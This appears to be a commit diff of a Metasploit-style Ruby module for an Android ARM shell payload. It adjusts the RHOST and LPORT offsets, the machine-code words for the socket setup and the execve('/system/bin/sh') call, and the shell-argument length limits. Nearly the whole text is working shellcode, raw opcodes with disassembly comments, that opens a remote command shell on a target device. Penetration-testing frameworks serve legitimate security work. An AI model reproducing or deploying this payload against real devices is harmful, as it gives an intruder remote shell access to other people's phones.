@@ -29,8 +29,8 @@ def initialize(info = {})
29
29
{
30
30
'Offsets' =>
31
31
{
32
- 'RHOST' => [ 208 , 'ADDR' ] ,
33
- 'LPORT' => [ 206 , 'n' ] ,
32
+ 'RHOST' => [ 172 , 'ADDR' ] ,
33
+ 'LPORT' => [ 170 , 'n' ] ,
34
34
} ,
35
35
'Payload' =>
36
36
[
@@ -45,7 +45,7 @@ def initialize(info = {})
45
45
0xe1a06000 , # mov r6, r0
46
46
47
47
# bind
48
- 0xe28f10A4 , # 1dr r1, pc, #172 ; 0x9C
48
+ 0xe28f1080 , # 1dr r1, pc, #128
49
49
0xe3a02010 , # mov r2, #16
50
50
0xe3a07001 , # mov r7, #1
51
51
0xe1a07407 , # lsl r7, r7, #8
@@ -78,25 +78,14 @@ def initialize(info = {})
78
78
0x5afffffa , # bpl 8c <.text+0x8c>
79
79
80
80
# execve("/system/bin/sh", args, env)
81
- 0xe28f0048 , # add r0, pc, #72 ; 0xe40
81
+ 0xe28f0024 , # add r0, pc, #36 ; 0x24
82
82
0xe0244004 , # eor r4, r4, r4
83
83
0xe92d0010 , # push {r4}
84
84
0xe1a0200d , # mov r2, sp
85
- 0xe92d0004 , # push {r2}
86
- 0xe1a0200d , # mov r2, sp
85
+ 0xe28f4024 , # add r4, pc, #36 ; 0x10
87
86
0xe92d0010 , # push {r4}
88
- 0xe59f1048 , # ldr r1, [pc, #72] ; 8124 <env+0xe8>
89
- 0xe92d0002 , # push {r1}
90
- 0xe92d2000 , # push {sp}
91
87
0xe1a0100d , # mov r1, sp
92
- 0xe92d0004 , # push {r2}
93
- 0xe1a0200d , # mov r2, sp
94
- 0xe3a0700b , # mov r7, #11 ; 0xeb
95
- 0xef000000 , # svc 0x00000000
96
-
97
- # exit(0)
98
- 0xe3a00000 , # mov r0, #0 ; 0x0
99
- 0xe3a07001 , # mov r7, #1 ; 0x1
88
+ 0xe3a0700b , # mov r7, #11 ; 0xb
100
89
0xef000000 , # svc 0x00000000
101
90
102
91
# <af>:
@@ -110,7 +99,10 @@ def initialize(info = {})
110
99
0x00000000 , # .word 0x00000000
111
100
112
101
# <arg>:
113
- 0x00000000 # .word 0x00000000 ; the args!
102
+ 0x00000000 , # .word 0x00000000 ; the args!
103
+ 0x00000000 , # .word 0x00000000
104
+ 0x00000000 , # .word 0x00000000
105
+ 0x00000000 , # .word 0x00000000
114
106
115
107
] . pack ( "V*" )
116
108
}
@@ -131,14 +123,14 @@ def generate
131
123
if sh . length >= 16
132
124
raise ArgumentError , "The specified shell must be less than 16 bytes."
133
125
end
134
- p [ 212 , sh . length ] = sh
126
+ p [ 176 , sh . length ] = sh
135
127
136
128
arg = datastore [ 'SHELLARG' ]
137
129
if arg
138
- if arg . length >= 4
139
- raise ArgumentError , "The specified shell argument must be less than 4 bytes."
130
+ if arg . length >= 16
131
+ raise ArgumentError , "The specified shell argument must be less than 16 bytes."
140
132
end
141
- p [ 228 , arg . length ] = arg
133
+ p [ 192 , arg . length ] = arg
142
134
end
143
135
144
136
p
0 commit comments